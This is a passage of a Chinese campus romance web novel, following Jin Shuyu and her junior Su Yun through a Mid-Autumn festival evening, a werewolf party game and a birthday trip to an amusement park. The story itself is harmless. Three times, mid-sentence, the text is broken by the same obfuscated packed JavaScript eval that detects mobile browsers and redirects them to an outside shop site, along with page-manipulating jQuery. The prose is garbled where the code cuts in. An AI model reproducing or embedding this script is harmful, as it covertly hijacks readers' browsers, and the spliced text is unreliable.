金书玉果断点头,手机拍了张照,很久违地发了朋友圈,配文“手气不错”。 然后把月饼拆开,小心翼翼地从中间掰成不大均等的两半,其中一半递给宿昀:“来,这是你的,大功臣!” 宿昀低下头,直接从她手里叼走了那一半,在金书玉愣神的当口,嚼吧几下咽了下去。 “有点甜。” 这吃法金书玉还是第一次见,生怕他噎着:“哪有你这样吃月饼的,也不怕噎着。” 小口小口地啃着手里剩下的一半月饼,金书玉的目光很快又被旁边的手作摊位吸引了过去。 兴致勃勃地往布包里塞着香料,对着教程扎好蝴蝶结,好不容易收了尾,金书玉满心欢喜地举起那个刚成型的漂亮香囊转过头,想要给身后的宿昀看一眼。 可身后的位置空空如也。 “宿昀?” 金书玉疑惑地环视四周,中秋的操场人声鼎沸,各色的文化衫和嬉笑的脸孔在晃动的灯光下重叠又散开。 越来越多几乎相同的人脸从眼前一个个经过,金书玉感到一阵阵眩晕,原本雀跃的心情像被冷水兜头浇下,不自觉地紧了紧手里的香囊。 她收好东西站起身,在汹涌的人群中逆流找了一圈,依旧没看到人。 就在她压下胃部涌上来的恶心感,紧抿着唇,有些焦躁地摸出手机准备拨号时,肩头忽然被人从身后轻轻拍了一下。 金书玉蓦然回头。 如浓墨的夜色中,一轮圆月高悬上空,洒下清冷柔和的光晕,笼住了整片操场。 宿昀就站在那轮月下,身高腿长,怀里护着一盏做工精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469538|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致的宫灯,正隔着几步远的距离,明晃晃地对着她笑。 那一瞬间,金书玉贫瘠的文学词库里竟然破天荒地蹦出一句话。 “众里寻他千百度,蓦然回首,那人却在,灯火阑珊处”。① “学姐!这个给你。”宿昀快步走近,将手里那盏透着暖黄光亮的宫灯递到她面前。 金书玉愣愣地接过来,指尖触到绸布的质感,“你又排队去套圈了?” 宿昀笑嘻嘻地:“哪儿能啊,现在排队都排到操场外边去了,我找文创店买的。” 金书玉低头看了看手里的灯,又抬头看了看他,憋了半天憋出一句:“……你买这个做什么?” “你不是喜欢?”宿昀理所当然。 “谁会喜欢印着咱们校标的东西啊……”金书玉小声嘀咕,神情复杂地转了转宫灯。 “我刚才盯着它,是想着这玩意儿在外面卖得挺贵,要是能套到一个拿去闲鱼转手,起码能赚个几十块的差价。现在倒好,你原价买回来,我还得砸手里。” 宿昀:“……” 那你也没说啊。 “还进去玩吗?”宿昀认命地叹了口气,试图挽回一点节日氛围。 金书玉看了一眼身后黑压压的人头,方才好不容易压下的眩晕感重新涌了上来。 她摇了摇头,捏紧了手里的宫灯:“人太多了,走吧。” 似是察觉到她的脸色有些苍白,宿昀敛了笑意,微微躬身,凑近看她:“不舒服?” 金书玉点点头:“人多,看得眼花,头晕。而且月饼可能太甜了,腻得有点犯恶心。” “那学姐你站这儿等一下。”宿昀不由分说地按住她的肩膀,转身扎进人群,没几秒钟就后端着一个纸杯匆匆跑了回来。 “服务台那里有酸梅汤,先喝点压下试试,不行的话咱们去医院。” “没那么严重。”金书玉小声反驳,手却很听话地接过纸杯。 酸酸甜甜的饮料滑入胃中,原本翻江倒海的恶心感瞬间被压制住了,金书玉舒服地喟叹出声,没忍住把剩下的全喝完了。 见她眉头舒展,宿昀似乎松了口气,但还是多问了一句:“学姐一直会这样吗?在人多的地方就头晕恶心?” “差不多。估计最近身体状态也不好,已经有一阵子没这样了。等中秋过完,真得抓紧锻炼了。” 说起中秋,金书玉忽然停下脚步,“你家不是就在二环么,今天你怎么没回家和家里人团聚?” 宿昀低着头看地板,没什么情绪地应着:“我妈单位有事,加班呢,我爸,应该也差不多吧。” 怎么听起来和自家情况差不多?金书玉试探地侧着头,试图去看他的表情:“他们平时也……很忙吗?” “还行吧,平时可能还好,节假日几乎聚不到一起。节假日是他们最忙的时候。” 看他兴致不高,似乎不想继续这个话题,金书玉“哦”了一声,没再深问。 短短的校园道路很快就走到了尽头,金书玉本打算就这么回宿舍。但一想到回了宿舍,迎接她的依旧是一片冷清的空荡,又忽然不太想这么早回去了。 “宿昀。”很罕见地,她主动邀请:“我们去球场的露天看台赏月吧。” 宿昀抬起头,忽地笑了,用之前的话回她:“干看着月亮,不是很无聊么?” 被自己的话将了一军,金书玉看着他,嘴角扯了扯:“……不去算了。” “去啊,怎么不去,难得学姐主动相邀,这点面子怎么着还是得给的。” 金书玉不轻不重怼回去:“哪儿敢劳动您的大驾。” “哎哟喂,您这话就见外了不是,”宿昀一口京调儿像模像样,欠兮兮地凑上前,学着清宫剧里的大太监,吆喝一声。 “来人呐,摆架操场!” 20. 赏月 拉拉扯扯跑到看台,两人一路嘻嘻哈哈,你一句我一句地学着清宫剧里的台词,倒是互相过足了戏瘾。 在爬上体育场看台最高一层阶梯时,金书玉毫无预兆地停下脚步。 她转身回眸,白皙纤细的食指虚虚地抵在宿昀那两片薄唇上,做了个噤声的手势。 “好了,安静。”她微微挑眉,眼中带着清浅的笑意,“我们只是换个地方观景,不许吵到别人,OK?” 晚风吹乱了她的鬓发,那根手指在宿昀眼前轻轻晃动。几乎是出于本能,宿昀伸手一捞,便将那只微凉的手指捉住,严严实实地拢进了宽大的掌心里。 “手怎么这么凉,降温了也不多穿点?” 金书玉站在原地,还没从这突如其来的触碰中缓过神来,男孩已经非常自然地跨上一大级台阶。他绕到她身侧,半拉半拽地带着她坐下,全程没松手。 “学姐,我给你捂捂手,一会儿就不冷了。” 说来也奇,宿昀明明也只穿着一件单衣和薄外套,但手心却一直热乎乎的,甚至烫得有些灼人。那股热意顺着金书玉的指尖,一路蜿蜒而上,顺着血液爬过脊椎,让原本发凉的身子都慢慢回了暖。 无声地舒了口气,她紧绷的肩膀也慢慢放松了下来。 “学姐,你之前的中秋都是怎么过的?”为了打破过分的安静,宿昀找了个话题。 金书玉晃荡着悬空的双脚,看着远处草坪上模糊攒动的人影,陷入了回忆。 本科四年的中秋,似乎没什么特别。无非是切开陈女士寄来的月饼,拍张照发到朋友圈,完成任务般地意思一下,然后继续写论文,或者是看文献。 再往前一些,童年的中秋更显寂寥。父亲在老板家当司机,节假日通常是老板最忙的时候,他几乎回不来。 母亲的单位也总是加班,每次等她写完所有作业,面对的只有满屋的清冷。 “就那样呗。”她语气平淡地敷衍过去,“吃个月饼,走个仪式感。” “每年都这样?”宿昀侧过头看她,眼神里写满了不可思议。 金书玉自嘲地笑了笑:“哪有那条件年年吃月饼,更多时候和平常一样,家里一个人都没有,我睡着了他们还没回来。” 宿昀沉默了,握着她的手不由得又紧了几分,像是想把那份迟到了二十几年的热闹一并补上。 中秋向来是京市入秋的转折点,一阵凉飕飕的夜风刮过看台,金书玉下意识地缩了缩脖子,禁不住打了个寒战。 宿昀见状,松开一只手,手臂从她背后绕过去。长而有力的手臂在空中停了几秒,本打算顺势环住她,可就在手指即将触到她肩膀的前一秒,看台下方忽然传来一声极具穿透力的吆喝。 “哎——上面的同学!要不要下来一起玩啊?” 原本坐在看台高处、三三两两的同学都被这声音惊扰,纷纷探头往下看。 底下的学生见有了回应,干劲更足了,继续卖力地摇晃着手里的招牌:“桌游缺人!咱们凑二十二个,正好开两车‘狼人杀’!” 金书玉正被风吹得头大,听到这热火朝天的动静,眼睛微微一亮。她转头看向宿昀:“要去看看吗?” 宿昀那只悬在半空的手尴尬地停了停,随后不动声色地收了回来,指尖遗憾地微微蜷缩。他微微一笑:“学姐想去吗?” “去看看呗,反正坐着吹风也挺冷的。” 于是,两人顺着台阶而下,在一片混乱而热情的欢呼声中,成功加入了那支临时组成的桌游大军。 一个长发姑娘眼睛亮亮的,隔着老远就冲金书玉用力招手,笑容十分灿烂。 金书玉实在想不起来此人是谁,只好礼貌地小幅度挥挥手作为回应。 宿昀瞥了一眼:“学姐她是谁?” 金书玉凑近咬耳朵:“不知道。” 宿昀:“……” 宿昀满意了。 那姑娘凑过来,笑眯眯地拉住金书玉的手:“谢谢你啊同学,你送的月饼真好吃,皮薄馅大,我和舍友都一口气吃了两个呢!” 金书玉这才恍然大悟,原来是刚才送月饼时遇到的同学。对方的热情像一团火,脸上的笑容也跟着真诚了几分。 第一次主动社交就遇到这样的人,她挺幸运。 游戏形式是经典的狼人杀,一共十一个人,一个上帝负责主持,剩下十人,三狼三神,预言家女巫和猎人,以及四位平民。 十个人在草地上团团围坐,宿昀紧挨着金书玉坐下。 夜晚的草地带着些微潮气,但因为周围坐满了人,空气中反而有种意外的燥热。 金书玉之前没玩过这个游戏,第一轮抽角色卡的时候,抽了个平民,全程闭眼。 宿昀的卡牌也没什么可操作余地。 随着第一轮发言开始,金书玉安静地听着周围人半真半假的盘逻辑、表水。第一局结束后,金书玉大概明白了相应的规则,稍微品出了点意思来。 第二轮手气不错,金书玉抽到了预言家。 “天黑请闭眼。” 轮到她验牌的时候,金书玉想了想,验了上一局表现最活跃的一个男生,得到对方是好人的提示。金书玉轻微点点头,随后闭上了眼。 第一夜天亮平安夜,上帝指认发言顺序。 第一晚是平安夜,大多信息不明,神职为了自保选择隐身,狼人也藏得极深。 轮到金书玉发言时,她为了避免过早暴露身份,只含糊其辞地说了句:“暂时没什么信息,过吧。” 第二个夜晚开始。 金书玉验了坐在自己旁边的女生。她的运气不知道是好还是不好,这一次又是好人,她只好重新闭上眼。 第二天睁眼,死亡两位,没有遗言。气氛瞬间紧绷起来。 上帝指认从宿昀发言。 宿昀看了一眼金书玉,眉梢细微地挑了挑,随手把身份牌往草地上一扣一推,笑得嚣张:“既然已经死了两位,那我就先跳吧,我是预言家。” 金书玉:“???” 不儿,你是预言家那我是什么? 她甚至不确定地看了一眼手里的身份牌,明晃晃的预言家三个大字没错。 宿昀说完,点了点“尸体”:“很不巧,验了他俩中的一个,这位是狼,另一位估计是猎人,被狼刀后直接把狼带走了。” 两名死者在一旁静观其变,这种时候谁也不能出声,只能憋着笑看戏。 场上很快有人挂起金水质疑宿昀:“这个时候你不躲好,直接自爆,不是给狼提供活靶子么?或者你其实是悍跳狼,装预言家?” 宿昀耸耸肩:“无所谓啊,反正现在场上神和狼2v2,就看咱们怎么把把剩下的狼票出去了。” 后续的发言节奏几乎全被宿昀带跑了。因为一直没有第二个预言家站出来,大家在迟疑中渐渐倒向了他。 轮到金书玉发言时,她想了想,问宿昀:“你刚刚只说验了一个是狼,那另一个是谁?” 宿昀看着她,笑容陡然扩大。 “验了你啊,学姐。他拖长了语调,眼神里闪烁着得逞的微光,“本来不想说的,但谁叫——你是狼呢?” 金书玉:“!!!” 被倒打一耙,金书玉现在百分百确定,宿昀就是狼。 现在场面几乎一边倒,她要是再不出口澄清,发言结束被票走的就是她了。 为了不被票走,金书玉不得不自证身份:“我是预言家。和我对跳的,并且诬告我是狼的,合理怀疑你也是狼。” 很有意思的经典场景出现了,双预言家对跳。众人面面相觑,为了求稳,一致决定先留着两人,看今晚谁会消失,再做定夺。 投票环节,投走了一个一路划水,只说过的玩家。有遗言也跟没说一样,只说全程闭眼。 当晚,金书玉毫不犹豫地验了宿昀,果不其然,他就是狼。 第三晚,又死一个。然而当众人睁眼时,金书玉和宿昀居然都还活着。 局势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469539|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间扑朔迷离起来。 按照屠神的最优选,狼应该先解决掉那个非队友的预言家,可现在两人安然无恙,这让场上人们开始怀疑,真正的预言家是不是已经死在了第一晚? 作为本轮首个发言人,金书玉直视宿昀,语气坚定:“昨晚验了,这位铁狼。” 宿昀当即摆出一副西子捧心的受伤样态,低声感叹:“学姐,你居然来查我?好狠的心啊。” 周围瞬间爆发出一阵哄笑,上帝不得不清咳两声,示意严肃。 “我是预言家。”金书玉再次强调,“这一局,必须把他票走。” 剩下的人你看看我我看看你,有几个已经动摇,个别依旧坚持等宿昀发言。 轮到宿昀发言,他却出人意料地把身份牌往前一丢,懒洋洋地往后一靠,“没什么好解释的,投我吧,死在学姐手里我也认了。” 他这么一搞,大家反而拿不准了。经过漫长的纠结,最终多数票还是投给了宿昀。 临走前,宿昀的遗言只有一句:“没关系的学姐,别急,你马上就会来陪我了。” 果不其然,第四晚,金书玉被狼刀出局。 场上的女巫还捏着毒药,局势渐趋白热化。 剩下的游戏金书玉他们这批挂掉的没再参与,她慢吞吞挪到宿昀身边:“你怎么跳预言家?” “帮你吸引火力啊学姐,我反正是狼,死了就死了。本来还想着,要是你不指认,我就自爆带走别人,保你这个真的预言家活到最后。” 金书玉气笑了,“……能不能有点游戏精神。” “对啊,我不是好好玩了吗?”宿昀凑近了些,带着邀功的表情:“为了不让他们杀掉你,我可是废了好大劲才拦下呢。” 金书玉:“……” 两人说话的当口,那边游戏结束。 非常戏剧性的结尾,另一头狼伪装太好,女巫完全不能确认谁是谁,最后病急乱投医随便选了一个,结果把平民毒死了。 当晚狼随便挑一个杀了,狼获胜。 金书玉怎么也没想到这游戏能被玩成这样。 不是说好人赢面大吗? 金书玉从草地上站起身,拍了拍裤子上的草屑。 “还玩吗学姐?” 金书玉摇摇头:“你们心眼太多了,不玩了。” 她和场内的人招呼了一声,转身朝外走,宿昀笑眯眯地追了上去:“学姐,明天想吃什么?” “吃食堂,还能吃什么?” “那早点呢?泸溪河的鲜肉月饼,他们家招牌,我那多了几盒,学姐拿去当早点呗。” 鲜肉,月饼? 这俩东西怎么能搭配在一起的? “你确定那不是馅饼?” “谁知道呢,人家这么叫的。确定不试试?还挺好吃的。” “行吧,我尝尝。” 两人一路走到宿舍区,三步并作两步跨上台阶。不到半分钟,他就拎着一个沉甸甸的纸袋跑了下来。 纸袋被不由分说地塞进金书玉怀里,紧接着,肩上一沉,一股暖意瞬间笼罩了上半身。 “降温了,别冻着。”宿昀顺手将一块雪白的披肩严严实实地裹在她肩上,又往她手里塞了个硬邦邦的小物件。 金书玉低头看去,那是一只暖手宝,触感却不是常见的塑料,而是带着金属的质感。外壳包裹着一圈毛茸茸的织物,手感温润,并不烫手。 “这个学姐你拿着,我从家里翻出来的,不知道哪年的东西。应该还能用。”宿昀随意道。 金书玉捧着暖壶,没多想。 直到很久以后,当她偶然在博物馆看到类似的制式,才知道这个小壶居然是清朝传下来的东西。 但那是以后的事了。 此刻她只是站在中秋的月影里,看着宿昀那双亮晶晶的眼睛,听他不知疲倦地又问了一遍:“学姐,明天中午想吃什么?” 月光底下,他的眼睛亮亮的,仿佛比手里的灯笼还要亮。 21. 生日 不知是不是错觉,金书玉总觉得,从中秋那天之后,宿昀变得有点粘人。 经常她从实验室出来,就能看到高俊挺拔的身影站在楼下,扶着明显娇小的新电动车,笑着朝她招手。 倒是终于买了一辆自己的电动车,没再继续借楚桓的了。 “学姐!”少年清脆爽朗的声音穿透晚秋的微风。 在同门师姐揶揄的注视中,金书玉没过多解释。 类似的场景显然出现过不止一次,她已然能够坦然面对这样的视线。 她抬脚走过去,熟练地拍了拍车后座。 “没课?” “有啊,今天上一天呢,刚下课就飞过来了。” 金书玉踮起脚,宿昀顺势半蹲下身子,方便她拍拍自己的发顶。 金书玉手心触到他柔软的发丝,表情柔和了几分,“好啦,辛苦我们的小宿同学了,走吧,今晚学姐请客,犒劳犒劳你。” 宿昀一点没客气,非常自然地点菜:“我要吃西红柿肥牛盖饭。” “行。” “还要加煎蛋。” “行,都依你。” 电动车匀速在校园里穿梭,两人的造型在帝都大学里不算突兀,却依旧自成一道风景。 路边的树叶褪去了最后的绿,化作漫天金黄,风一吹,便扑簌簌地往行人身上落。 金书玉伸手弹开落在宿昀肩上的一片枯叶,忽然听他问了一句:“学姐你生日什么时候?” “怎么忽然问起这个?”金书玉收回手,“四月,早过了。” 宿昀“哦”了一声,听声音似乎还有些遗憾。 但他很快又重新高兴起来。 “学姐,那你猜猜十一月四日是什么日子?” 金书玉顺嘴接到:“十一月四日风雨大作。” 宿昀:“……” 宿昀无奈地说明:“是我的生日,学姐有没有什么想法?” 金书玉很难评:“你的生日,我能有什么想法?” “哎呀——学姐,”宿昀又开始拖着音调,“给点建议嘛,我想跟你一起过。就我们两个。” 金书玉已经习惯了他这种时不时的试探,半开玩笑地问道:“你们这种家庭,不应该在那种金碧辉煌的酒店办个大型生日宴,请一堆政商名流吗?电视剧里都这么演。” “那个在周六,办给长辈看的官方日子。”宿昀回头看了她一眼,“我是说正日子,咱们匀出一天去欢乐谷怎么样?那天我生日免费,亲友半价,咱们能玩个够。” 金书玉眨眨眼,没完全应下:“那得看我那天有没有组会了。” 宿昀顿时垮下脸,哀嚎出声:“学姐——” 眼见周围路过的学生纷纷投来好奇的目光,金书玉连忙抬手制止:“别嚎了,我答应你还不行吗?先说好,要是真有组会,那真不怪我。” 得到金书玉这样的保证,宿昀满意了。 不过让金书玉没想到的是,还真给她说中了。 林导这个星期的组会确实定在了周三上午。 周二晚上,金书玉坐在电脑前纠结了许久,最终还是没请假。 她的小论文数据已经基本出来了,之前发给林导看,没有回复,她得在组会现场问一下,是改还是重写,得有个准信。 于是,她只好带着满心的愧疚,给宿昀发了条消息:“非常不巧,我明天确实有组会,抱歉。” 下一秒,她收到了一个大哭的表情包,摇头晃脑,泪涌成河。 几次三番的食言,金书玉也觉得过意不去。她叹了口气,忍痛再次割地赔款:“那个,要不你提个补偿条件吧。” 宿昀也知道组会实在是没有办法,没敢硬缠着她请假,张嘴就要:“要学姐送礼物!” 金书玉看着屏幕笑了:“早准备好了,换个别的。” 宿昀发来一个惊叹的表情。 “是什么呀学姐?透露一点让我高兴高兴?” 和他呆一块儿时间久了,金书玉也学了点脾性,指尖轻点,回了四个字:“不告诉你。” 大哭表情包*2。 金书玉看着那可爱的摇头表情,忍不住笑出了声。 钱乐乐端着脸盆正好从她身后经过,见她这幅表情,啧啧出声:“没眼看。” 俯身凑过来打量了一眼,“笑得这么春光灿烂,跟谁聊呢?” 金书玉连忙放下手机,掩饰性地咳了一声:“没谁,就上次那个学弟。” “哎哟哟没谁,要我说你也蛮搞笑的,我到现在都还记得第一次你没认出人家时的尴尬。那小学弟当时那脸色哦,啧啧,是真精彩。” 金书玉当时只顾着吃火锅了,倒是完全没注意这事。 “你俩要真能凑一块儿,那可真得感谢月老发力了。” 这什么话! 金书玉刚想辩驳,钱乐乐已经端着水盆洗澡去了。 周三上午。 出乎意料,组会进行得异常顺利。金书玉汇报完自己近期的研究数据后,原本一脸严肃的林导难得露出了几分欣慰的笑意。 散会后,林导单独把她留了下来,递给她一张写满批注的纸质表格,上面详细列着几家顶尖学术期刊和对应的投递邮箱。 “这几家刊物在圈内声誉都很不错。”林导语重心长,“你尽快把这组数据整理成文,对照着表格里这些期刊近两年的收文偏好,改动润色一下,到时候把我挂在二作上,就可以投递了。” 金书玉如获至宝:“谢谢林导!” 林导笑眯眯地让她离开。 组会开始得早,不到十点半就提前散场了。 金书玉走出实验大楼,看着头顶灿烂的阳光,下意识地掏出手机给宿昀发了条消息:“我组会已经结束了,欢乐谷……还去吗?” 对面秒回:“!!!” “去!当然去!学姐在宿舍楼下等我十分钟!不,五分钟就到!” 金书玉让他别急,自己先回宿舍,取了前几天专门去线下专柜挑选的礼物。 等她再次下楼时,宿昀已经骑着他的小电驴等在路口了。 少年上身穿着高领的黑色毛衣和长风衣,头发被风吹得有些凌乱,一双眼睛随着金书玉的出现而亮起来,冲着她激动挥手。 似是被那份纯粹的喜悦感染,金书玉快步走近,将包装简约大气的礼盒递了过去。 “送你的。生日快乐!” 宿昀看着包装简约的盒子,猜了一下:“表?” 金书玉无语:“表多贵啊。你平时戴的那块,卖了我都买不起。” 宿昀笑嘻嘻地把盒子揣进怀里,宝贝得不行:“只要学姐买的,十九块九包邮的我也当传家宝戴。” “少贫。” 宿昀没急着拆礼物,而是把盒子小心地放进书包,拍了拍后座示意她上车。 “欢乐谷离这里二十多公里呢,你打算骑这玩意儿横跨大半个京城?”金书玉坐在电动车上,神情犹疑。 “怎么可能,下车。” 才刚坐上半分钟,出了校门,金书玉就被请下了车。 他看着宿昀把电动车停在路边,从书包翻出一把造型别致的车钥匙,对着马路对面的停车位随手一按。 一辆颜色嚣张刺目的大红色玛莎拉蒂很给面子地亮了一下车灯。 “走吧,本寿星今天亲自给学姐当司机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469540|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别说,今天运气不错,正好车牌能对上限行号。” 男生面色灿烂,神情意气风发,站在跑车旁边,单手插着兜,替她打开车门。 金书玉算是理解了,为什么男的都喜欢漂亮车。 漂亮顶级的工业流线设计,阳光下锃亮耀眼的车漆,换她她也喜欢。 金书玉此前从未近距离接触过这种层级的跑车,以至于她坐在副驾驶的时候,神情还有些恍惚。 大红色的玛莎拉蒂张扬热烈,嚣张地在城际公路上……慢悠悠地行驶。 金书玉坐在副驾驶,看着窗外一辆又一辆电动车从跑车旁边呼啸而过,甚至连慢悠悠地蹬自行车的大爷都甩开了他们半个车身。 她忍不住指了指窗外:“我觉得你这跑车的油耗有点浪费,效率还比不上人家蹬脚踏板的。” 宿昀也苦着个脸:“学姐,城里限行40码,到处是监控,我哪敢乱来啊。” 也亏得周三上午的路况还算简单,等两人慢吞吞地挪到欢乐谷门口时,游乐园里刚好敲过十一点的钟声。 宿昀停好车,拉着金书玉快步走向检票口。他递过身份证,工作人员看了一眼日期,立刻递给他游玩卡片和一张印着生日快乐的贴纸。 宿昀撕下贴纸,骄傲地贴在胸口。普通纸片贴在昂贵的羊毛衣上,违和中又透出几分合理。 紧接着,金书玉的腕上也多了一枚印着蛋糕和彩带的“随行人员”专属腕带。 “是不是有点太幼稚了。”金书玉抬了抬手腕,看着那个五颜六色的塑料圈,有些无奈。 “就当陪我了,好不好嘛学姐。”宿昀凑过来,一双大眼睛眨啊眨的,金书玉压根招架不住,认命地跟着他进了园。 她原本以为,像宿昀这种年纪的男生,进了游乐园肯定直奔过山车或者跳楼机,去寻找刺激。 可谁知,在和几位NPC互动,收获了一批职业化的“生日祝福”后,宿昀却带着她来到了一座巨大的建筑面前。 五彩斑斓的尖顶,梦幻的音乐,还有那随着音乐缓缓起伏的…… 旋转木马。 金书玉:“……” 面前正从出口涌出来的,基本是平均身高一米四以下,还在哭叫打闹的小朋友。 金书玉觉得自己太阳穴突突地跳了两下,表情复杂:“我们……真的要坐这个?” 宿昀重重地点头,“嗯!” 于是,在一群家长惊艳又疑惑的目光中,金书玉挂着生无可恋的表情,被宿昀拉进了排队区。 两个身材高挑、衣着得体的大人,挤在一群吵闹的小孩中间,显得尤为突兀。 金书玉低头看着脚尖,恨不得用脚趾在地板上抠出一个实验室。偏偏身边的寿星还兴致勃勃,甚至在和她嘀咕待会儿选哪匹木马。 ……真不是很想讨论这个话题。 “大姐姐,请你吃糖!” 软糯的声音忽然响起,金书玉低头一看,一个扎着羊角辫、脸颊红扑扑的小女孩,正吃力地举着一根棒棒糖,天真童稚地邀请着她。 “大姐姐,祝你生日快乐!” 语言太过真诚,金书玉不忍拒绝。她蹲下身,视线和小女孩的眼睛齐平,声音也不自觉地放柔:“小妹妹,谢谢你的糖。不过,今天过生日的是这位大哥哥,姐姐只是陪他来的。” 小女孩歪着头,眨巴着大眼睛,视线在金书玉和宿昀之间好奇地打量了好几个来回。 而后,她像是发现了什么了不得的秘密,突然拍着小手笑了起来。 “大哥哥大姐姐,你们都长得好好看呀。”她天真无邪地开口。 “你们是不是跟我爸爸妈妈一样,是夫妻呀?” 22. 紧扣 金书玉面色尴尬,指尖绞着衣角,正不知道该怎么解释。 身边的宿昀倒是反应极快,已经非常自然地和她蹲到一条线上,笑得一脸灿烂:“是呀小妹妹,谢谢你的糖。作为回礼,大哥哥请你再坐一轮旋转木马好不好?” 小孩子的注意力瞬间就被多玩一次的巨大诱惑勾走了,雀跃地跑向入口,压根忘了自己两分钟前刚抛出过怎样的问题。 见宿昀轻轻松松就把小姑娘打发走,金书玉忍不住戳了戳他手臂:“怎么不解释一下?” 宿昀一脸奇怪地看着她:“跟个孩子计较什么?” 金书玉一时语塞。 也确实是这个道理。 她没再说什么,跟着人流往前走了几步。轮到他们的时候,只剩下宽大的南瓜马车,木马都被小孩骑走了。 金书玉倒不在乎坐什么,索性安静地坐下。 反倒是宿昀,在方才那一两分钟的排队时间里,不知怎么操作,竟然和一群小朋友打成了一片,蹭到了一个小男孩的木马。 一大一小挤在同一匹马背上,正趁着音乐还没响起,正拼命朝她这边扮着鬼脸。 真幼稚。 话是这么说,金书玉还是摸出了手机,对着那个正在搞怪的少年,按下了快门。 照片里的大男孩露着整齐的白牙,笑得肆意而爽朗。那种由内而外散发的生命力,透过手机屏幕,直直撞进了金书玉的心里。 和这样的人在一起,日子大概永远都不会变冷、变无聊吧? 木马开始随着梦幻的音乐节奏,缓缓起伏旋转。金书玉靠在椅背上,感觉心也跟着这种频率,漫无目的地晃荡。 那一瞬间,她甚至产生了一个极其荒唐的念头,希望这首音乐永远也不要停,希望这旋转木马永远转不到尽头。 然而事与愿违,旋转木马很快就停了下来。 短短三五分钟,金书玉像是做了一场短暂的秋梦,有些懵懂地跟着宿昀往外走,好半晌,都没能从方才微妙的情绪里抽离出来。 “下一个项目玩什么,学姐?” 金书玉回过神,抬起头,视线越过旋转木马,看向了远处的过山车。 出于对寿星的基本关怀,她谨慎地多问了一句,“你恐高吗?” 宿昀的表情僵了一秒,随即挺起胸膛:“怎么可能,我长这么大就没怕过什么东西。” 十分钟后。 “啊啊啊啊啊啊啊啊救命啊啊啊——” 过山车在高空中俯冲而下,剧烈的对流风将金书玉的长发吹得向后狂乱飞扬。她面无表情地坐在位子上,耳朵里充斥着身旁杀猪般惨烈的尖叫。 刚才还信誓旦旦“不怕”的某人,喊叫声响彻云霄,在半空中激荡出一圈圈的回音。 此时此刻,过山车正好到挂在轨道下方,悬空几十秒,宿昀那头精心打理过的短发由于重力竖直下垂,全程嘴巴没合拢过。 金书玉表示无语,听着他喊叫甚至还有点想笑。 等到从过山车上下来的时候,宿昀脸色雪白,双腿都在打颤,走了几步双腿一软。金书玉见状,眼疾手快地伸手一捞,稳稳托住他的手臂。 宿昀得寸进尺,将半边身子的重量都压在了金书玉肩头,脑袋还细微地蹭了蹭,声音委委屈屈:“学姐~” 金书玉好笑地拍拍他,也没推开:“刚才不是还很厉害,天不怕地不怕。” “可是……那是倒挂在半空哎!”宿昀缓过劲来,心有余悸,“学姐你真的不害怕吗?” 金书玉觉得神奇:“安全带和压肩都锁得很死,物理保护措施做得非常到位,发生事故的几率很低,有什么好怕的?” “我很惜命的学姐,”宿昀缓过气来,理不直气也壮,“不然我那跑车谁开?电子游戏谁玩?我的学姐谁陪?” 金书玉:“……” “还玩哪个?” 因为宿昀实在被吓得不轻,接下来的项目金书玉特意挑了几个温和的,性质都跟摇摇车差不多,就差播放“爸爸的爸爸是爷爷”的音效了。 由于这些项目过于温和,很容易让人感到困倦。金书玉坐在碰碰车里时,甚至还打了个哈欠。 直到车身传来剧烈的碰撞感,伴随着刺耳的橡胶摩擦声,她才略微清醒了些。 一抬头,宿昀正十分嚣张地倒车,熟练地又一次撞了上来。 金书玉很少被这么当面地直接挑衅,当下也被激起了玩心。于是到最后,场内其他人都碰得随缘又平和,就他俩你追我赶,丝毫不给对方留余地。 最后结束的时候,宿昀甚至还有些意犹未尽,跃跃欲试地想排第二次。 金书玉刚想笑他幼稚,却猛地想起自己方才玩得也挺投入,话到嘴边又咽了回去。 ……行吧,其实是两个幼稚鬼。 没好意思扫他的兴,好在宿昀的肚子先发出了抗议。两人便一并到附近的餐厅里,吃了一顿昂贵又难吃的简餐。 吃完饭,两人顺着公园的小路溜达消食。走到一个路口时,宿昀是发现了什么,快步跑开了。 半分钟后,带回了一个怀抱拍立得相机的摊主。 那人手里还举着拍立得相机,摊位设在百米开外,孤零零的没什么生意,摊主被他拉得一路小跑,站定后还在气喘吁吁。 “学姐!我们拍张照吧!就当是留个纪念。” 金书玉没反对,在摄影师的比划下,选了个光线明亮的位置站好。 宿昀自然地站到她身侧,一只手揽住她的肩头。金书玉下意识想侧身避开,肩上的力道却忽然加重,稳稳地将她按在原位。 随后他低头凑近,温热的呼吸拂过金书玉的耳廓:“学姐,看镜头哦。” “咔擦——” 